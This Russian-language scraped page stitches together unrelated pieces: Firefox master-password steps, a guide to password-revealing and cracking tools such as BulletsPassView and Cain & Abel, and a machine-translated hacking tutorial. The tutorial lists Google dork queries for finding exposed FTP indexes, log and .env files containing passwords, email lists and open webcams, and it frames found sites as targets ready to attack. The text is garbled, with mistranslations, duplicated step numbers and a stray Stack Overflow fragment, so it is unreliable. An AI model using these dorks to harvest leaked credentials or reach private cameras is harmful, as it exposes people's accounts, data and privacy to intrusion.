Шаг 1 — Запустите Mozilla FireFox, дважды щелкнув значок программы.

Шаг 2 — Выберите кнопку меню «FireFox», затем щелкните пункт меню «Параметры» и выберите вкладку «Безопасность».

Шаг 3 — Если в поле «Использовать мастер-пароль» стоит , а не , у вас нет мастер-пароля.Если он выбран, нажмите кнопку «Изменить главный пароль».

Шаг 4 — Введите свой текущий пароль, а затем в полях ниже введите и повторно введите новый пароль, который вы хотите установить.

Как восстановить пароли, скрытые за звездочками

Обычная проблема, которая возникает у конечных пользователей, — это определить, какие пароли сохраняются их веб-браузером, если у них нет доступа к Менеджеру паролей или аналогичному приложению на своем компьютере. Утилита BulletsPassView — одно из наиболее часто используемых бесплатных приложений, способных выполнять эту задачу.Программа представляет собой инструмент, предназначенный для обнаружения паролей, хранящихся за звездочками в стандартном текстовом поле пароля в операционной системе Windows и веб-браузерах Internet Explorer.

Усовершенствования, внесенные в приложение BulletsPassView из устаревшей утилиты Asterisk Logger, включают поддержку Windows 7/8 / Vista, поддержку текстовых полей пароля Internet Explorer, улучшенную поддержку командной строки, поддержку Unicode для правильного захвата паролей, отличных от английского, и невозможность их раскрытия. пароль внутри самого текстового поля пароля (только внутри главного окна приложения).В новой версии BulletsPassView есть ограничения; однако, поскольку он не может получить пароли, отображаемые в веб-браузерах Chrome, FireFox или Opera, а также сетевые пароли и пароли удаленного доступа в Windows. Это связано с тем, что эти приложения не сохраняют пароль, хранящийся за звездочками, для повышения безопасности.

шагов по использованию BulletsPassView

Шаг 1 — Загрузите соответствующую версию BulletsPassView для своего компьютера. Обратите внимание, что если вы используете 64-разрядный компьютер с ОС Windows, версия программного обеспечения отличается от версии для 32-разрядных компьютеров.Вы можете определить, является ли ваш компьютер с Windows 64-разрядной версией, выбрав пункты меню «Пуск», «Панель управления» и «Система», и тип ОС будет указан примерно на полпути вниз на последующем экране.

Шаг 2 — Дважды щелкните загруженный исполняемый файл, чтобы запустить приложение. Программа BulletsPassView не требует установки. При запуске программа выполнит первое сканирование, чтобы найти все активно отображаемые текстовые поля с паролями, и отобразит результат в главном окне программы.

Шаг 3 — Откройте веб-сайт в Internet Explorer, на котором сохранен пароль, который необходимо восстановить. Затем нажмите кнопку меню «Обновить» в BulletsPassView или нажмите клавишу «F5» на вашем компьютере, чтобы отобразить пароль. Кроме того, приложение поддерживает опцию «Автообновление», которую можно выбрать в меню «Параметры», чтобы автоматически сканировать новые пароли каждые несколько минут.

Шаг 4 — Откройте командную строку Windows, нажав кнопку меню «Пуск» и введя «CMD» в текстовое поле поиска.Затем введите полный путь к приложению BulletsPassView и включите «/ stext », а затем нажмите клавишу «Enter». При этом будет сохранен список паролей, отображаемых в данный момент на экране компьютера, чтобы сохранить информацию в виде простого текстового файла.

Параметры командной строки BulletsPassView

BulletsPassView поддерживает ряд параметров командной строки для сохранения экранных данных в нескольких форматах, включая текст, XML, HTML, CSV.

/ stext Сохранить список паролей маркеров в простой текстовый файл.

/ stab <имя файла> Сохраняет список паролей маркеров в текстовый файл с разделителями табуляции.

/ scomma <имя файла> Сохранить список паролей маркеров в текстовый файл с разделителями-запятыми (csv).

/ stabular Сохранить список паролей маркеров в текстовый файл в виде таблицы.

/ shtml <имя файла> Сохранение списка паролей маркеров в файл HTML (горизонтально).

/ sverhtml Сохранить список паролей маркеров в файл HTML (вертикальный).

/ sxml <имя файла> Сохранить список паролей маркеров в XML-файл.

Найдите сохраненные пароли с помощью Cain & Abel

Cain & Abel может раскрывать или восстанавливать сохраненные пароли на компьютерах, использующих операционную систему (ОС) Windows. Приложение распространяется как бесплатное программное обеспечение и включает в себя возможность раскрытия ящиков с паролями, анализа сети, перебора и словарных атак. Приложение не использует программные ошибки или уязвимости для обеспечения более высокого качества обслуживания.Основная цель программного обеспечения — упростить восстановление паролей и учетных данных для сетевых администраторов, специалистов по безопасности и поставщиков программного обеспечения для обеспечения безопасности. Текущая версия программного обеспечения быстрее предыдущих версий и обеспечивает поддержку зашифрованных протоколов, таких как SSH-1 и HTTPS.

Найдите сохраненные пароли в ZIP-файлах с помощью ALZip

ALZip — это бесплатная программа, разработанная ESTSoft, которая предназначена для восстановления утерянных или забытых паролей из файлов ZIP. ALZip позволяет конечным пользователям сжимать, распаковывать и восстанавливать утерянные пароли для архивов zip-файлов.В приложении есть опция меню «Восстановление пароля», которая при выборе восстанавливает потерянную информацию для конечного пользователя.

Другие популярные инструменты для восстановления паролей

Среди других популярных инструментов восстановления паролей можно назвать бесплатные утилиты от NirSoftFreeware, Ultimate ZIP Cracker и Password Recovery Tool для MS Access 1.

NirSoftFreeware имеет ряд удобных бесплатных утилит для восстановления утерянных паролей от IE, Outlook и различных клиентов обмена мгновенными сообщениями.

Ultimate ZIP Cracker (условно-бесплатная от VDGSoftware) восстанавливает пароли из форматов ZIP, ARJ, MS Word и MS Excel. Программа поддерживает атаки грубой силы, интеллектуальный поиск, поиск по словарю, дате и индивидуальный поиск при восстановлении паролей, связанных с поддерживаемыми форматами файлов.

Password Recovery Tool для MS Access 1 (от Hongxin Technology & Trade) — это бесплатный инструмент для восстановления паролей MS Access. Приложение обеспечивает поддержку файлов базы данных MS Access до версии 2003.Возможность восстановления паролей для новых версий Access не поддерживается.

.

Как найти пароли в открытых файлах журналов с помощью Google Dorks «Null Byte :: WonderHowTo

Вы, возможно, не думали, что dorks такие мощные, но с правильными dorks вы можете взламывать устройства, просто вводя пароль в Google для входа в систему. Потому что Google отлично индексирует все, что подключено к Интернету, можно найти файлы, которые открываются случайно и содержат важную информацию, которую может увидеть любой.

Расширенное приложение операторов поиска Google — Google Dorking, использующее операторы поиска для поиска определенных уязвимых устройств с помощью целевых поисковых строк.Если мы предположим, что Google проиндексировал большинство устройств, случайно подключенных к Интернету, мы можем использовать текст, который, как нам известно, появляется на их страницах входа или администрирования, чтобы найти их.

Какие типы вещей Dorks подключаются к Интернету?

Вы будете поражены. Все, от контроллера бассейна яхт в океане до интерфейсов конфигурации для критически важных систем, подключено к Интернету благонамеренными людьми, предполагающими, что их никто никогда не найдет.

Так как это могло случиться с вами? Представьте, что у вас есть новая камера безопасности, которая дает возможность смотреть ее на вашем телефоне в любое время.Вы настраиваете его, подключаете к своему Wi-Fi и загружаете приложение, которое просит вас войти в систему. После этого вы можете получить доступ к своей камере из любого места!

То, что происходит в фоновом режиме, не так просто. Камера обращается к китайскому серверу и транслирует видео в режиме реального времени, что позволяет вам войти в систему, получив доступ к видеопотоку, размещенному на сервере в Китае, с вашего телефона. Этот сервер может не требовать пароля для доступа к каналу с вашей веб-камеры, что делает вашу камеру доступной для всех, кто ищет текст, содержащийся на странице просмотра камеры.

К сожалению, Google беспощадно охотится за любыми устройствами в Интернете, на которых работают серверы HTTP и HTTPS. Поскольку на большинстве этих устройств есть сервер для их настройки, это означает, что многие вещи, которые не должны быть в Google, попадают туда.

Не пропустите: используйте Photon Scanner для очистки данных OSINT в Интернете

Какие Dorks самые мощные?

Безусловно, самый серьезный вид открытого файла, который мы можем найти, — это утечка учетных данных для учетных записей пользователей или для всей службы.Обычно это происходит одним из двух способов. В первом случае сервер или другая служба настроены неправильно и открывают свои административные журналы в Интернете. Когда пароли меняются или пользователь не может правильно войти в систему, эти журналы могут привести к утечке используемых учетных данных в Интернет.

Другой способ это происходит, когда открываются файлы конфигурации, содержащие ту же информацию. Это файлы, которые должны быть внутренними, но часто оставляют важную информацию открытой.Любая из этих ошибок может привести к перехвату всей службы злоумышленником, случайно обнаружившим информацию.

Мы будем использовать придурки Google, чтобы найти не только эти файлы, но и такие вещи, как серверы передачи файлов, которые могут содержать интересную информацию, списки адресов электронной почты и мои любимые открытые веб-камеры.

Не пропустите: используйте SpiderFoot для сбора OSINT

Что вам понадобится

Чтобы продолжить, вам понадобится браузер с доступом в Интернет.Самое прекрасное в использовании придурков Google состоит в том, что мы можем использовать инструменты, доступные почти каждому, для поиска уязвимых систем.

Открыв браузер, перейдите на Google.com, и мы сможем начать.

Не пропустите: используйте виртуальную машину Buscador OSINT для проведения онлайн-расследований

Шаг 1: Поиск FTP-серверов и веб-сайтов с помощью HTTP

Для начала мы воспользуемся следующим дорком для поиска серверов передачи файлов опубликовано где-то в этом году.Поиск этих серверов может позволить нам найти файлы, которые должны быть внутренними, но неосознанно стали общедоступными.

  intitle: "index of" inurl: ftp after: 2018  

Эти серверы становятся общедоступными, потому что индексный файл их FTP-сервера представляет собой тип данных, которые Google любит сканировать — факт, о котором люди часто забывают. Сканирование Google приводит к полному списку всех файлов, содержащихся на сервере, доступных для поиска в Google.

Если мы хотим найти небезопасные веб-страницы, все еще использующие HTTP для «тыка», мы можем немного изменить команду, изменив «ftp» на «http» и повторно запустив поиск.

  intitle: "index of" inurl: http after: 2018  

При поиске по этой строке должен появиться список множества веб-сайтов, использующих HTTP, готовых к атаке. Но если мы ищем сайт определенного типа, мы можем пойти еще дальше.

Если мы хотим начать атаковать несколько простых целей, мы можем быть более конкретными и искать онлайн-формы, все еще использующие HTTP, изменив текст в заголовке поиска.

  intitle: "forum" inurl: http after: 2018  

Мы можем продолжать добавлять операторы поиска, такие как AND inurl: «registration» , чтобы получить более конкретную информацию и найти страницы регистрации незащищенных веб-сайтов.

Здесь вы можете увидеть, что мы нашли список уязвимых онлайн-форумов, использующих HTTP.

Шаг 1. Поиск файлов журнала с паролями

Следующим шагом будет поиск файлов типа .LOG. Поиск файлов LOG позволит нам узнать, какие учетные данные могут быть у системы или различных учетных записей пользователей или администраторов.

Придурок, который мы будем использовать для этого, выглядит следующим образом.

  allintext: пароль filetype: log after: 2018  

При поиске текущих файлов журнала, доступных в Интернете, мы находим это почти сразу.

В этом журнале указано, что пароль является паролем по умолчанию, и для его обнаружения требуется простой поиск в Google на веб-сайте OpenCast Project. С помощью одного поиска мы, возможно, нашли учетные данные для этой системы, вообще ничего не взломав.

Шаг 2. Найдите файлы конфигурации с паролями

Файлы конфигурации никогда не должны быть общедоступными, и файлы .ENV являются отличным примером этого. Если мы ищем файлы .ENV, содержащие строку для пароля базы данных, мы мгновенно находим пароль к этой базе данных, который мы обнаружили.

  filetype: env "DB_PASSWORD" after: 2018  

Если мы удалим после: 2018 , мы увидим старые файлы журналов, также предоставляющие услуги в Интернете.

Шаг 3. Найдите списки адресов электронной почты

Списки электронной почты — отличный способ очистить адреса электронной почты и попытаться найти информацию о корпоративных или учебных целях. Эти списки часто публикуются компаниями или учебными заведениями, которые пытаются организовать списки адресов электронной почты для своих членов.

Чтобы найти их, мы будем искать электронную таблицу.Тип файла XLS со строкой «email.xls» в URL-адресе.

Несмотря на то, что эти результаты полезны, будьте осторожны и не загружайте файлы, предварительно не подумав, не является ли это приманкой. Многие люди берут популярные придурки и оставляют сервер, на котором размещен файл, который выглядит уязвимым, но вместо этого может содержать вредоносное ПО.

Не пропустите: используйте распознавание лиц для проведения OSINT-анализа частных лиц и компаний

Шаг 4: Найдите открытые камеры

Наконец, если вы думали, что Shodan был единственным сервисом, который может находить странные открытые камеры, вы были абсолютно неправы.Страницы входа и просмотра камеры обычно являются HTTP-протоколами, что означает, что Google с радостью проиндексирует их и предоставит для просмотра, если вы знаете правильную строку поиска.

Один из распространенных форматов строк веб-камеры — это поиск «top.htm» в URL-адресе с включением текущего времени и даты. Так вы получите много результатов.

  inurl: top.htm inurl: currenttime  

Первым результатом является веб-камера, которая выглядит как фон Windows XP под другим углом в Белмулете, Ирландия.

Еще один дорк для камер, выдающий выдающиеся результаты при поиске общей страницы просмотра в реальном времени, размещенной на маршрутизаторах.

  inurl: "lvappl.htm"  

С помощью этого придурка я смог найти лучшую камеру из всех, birdcam1.

Пожалуйста, не взламывайте птичью камеру, но наслаждайтесь ею здесь. Доступно много других камер, но все они менее интересны, чем birdcam1.

Многие камеры также осуществляют мониторинг внутри заводов или промышленных зон.

Пока вы можете просматривать камеры, которые я продемонстрировал, без пароля; многие придурки ищут страницы входа в веб-камеру с хорошо известным паролем по умолчанию. Эта тактика, хотя и является незаконной, позволяет легко получить доступ ко многим веб-камерам, не предназначенным для публичного просмотра.

Google Dorks позволяет легко взламывать открытые службы

Благодаря тому, как Google индексирует почти все, подключенное к Интернету, которое предлагает веб-интерфейс, нет недостатка в неправильно настроенных службах, которые оставляют важные элементы открытыми для Интернета.Убедитесь, что вы не входите ни в одну из этих служб, даже если пароль открыт, так как это может вызвать у вас проблемы из-за отсутствия разрешения. Если у вас есть служба в сети, разумно запустить несколько распространенных придурков в своих доменах, чтобы посмотреть, что происходит, на тот случай, если вы случайно оставили открытыми что-то, что хакер может найти полезным.

Надеюсь, вам понравилось это руководство по использованию Google dorks для поиска уязвимых устройств и паролей! Если у вас есть какие-либо вопросы по этому поводу в Google dorks, или если у вас есть комментарий, задавайте их ниже или не стесняйтесь связаться со мной в Twitter @KodyKinzie.

Не пропустите: Найдите идентифицирующую информацию по номеру телефона с помощью инструментов OSINT

Хотите начать зарабатывать деньги как хакер в белой шляпе? Начните свою профессиональную карьеру хакера с помощью нашего пакета обучения премиум-сертификату по этическому хакерству 2020 года в новом магазине Null Byte и получите более 60 часов обучения от профессионалов в области этического хакерства.

Купить сейчас (скидка 90%)>

Обложка и скриншоты Kody / Null Byte
.

c # — Как проверить, является ли пользователь с [UserName] и [Password] администратором домена [DomainName] без олицетворения?

Переполнение стека

  1. Около
  2. Продукты

  3. Для команд
  1. Переполнение стека
    Общественные вопросы и ответы

  2. Переполнение стека для команд
    Где разработчики и технологи делятся частными знаниями с коллегами

  3. Вакансии
    Программирование и связанные с ним технические возможности карьерного роста

  4. Талант
    Нанимайте технических специалистов и создавайте свой бренд работодателя

  5. Реклама
    Обратитесь к разработчикам и технологам со всего мира

  6. О компании

Загрузка…

.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *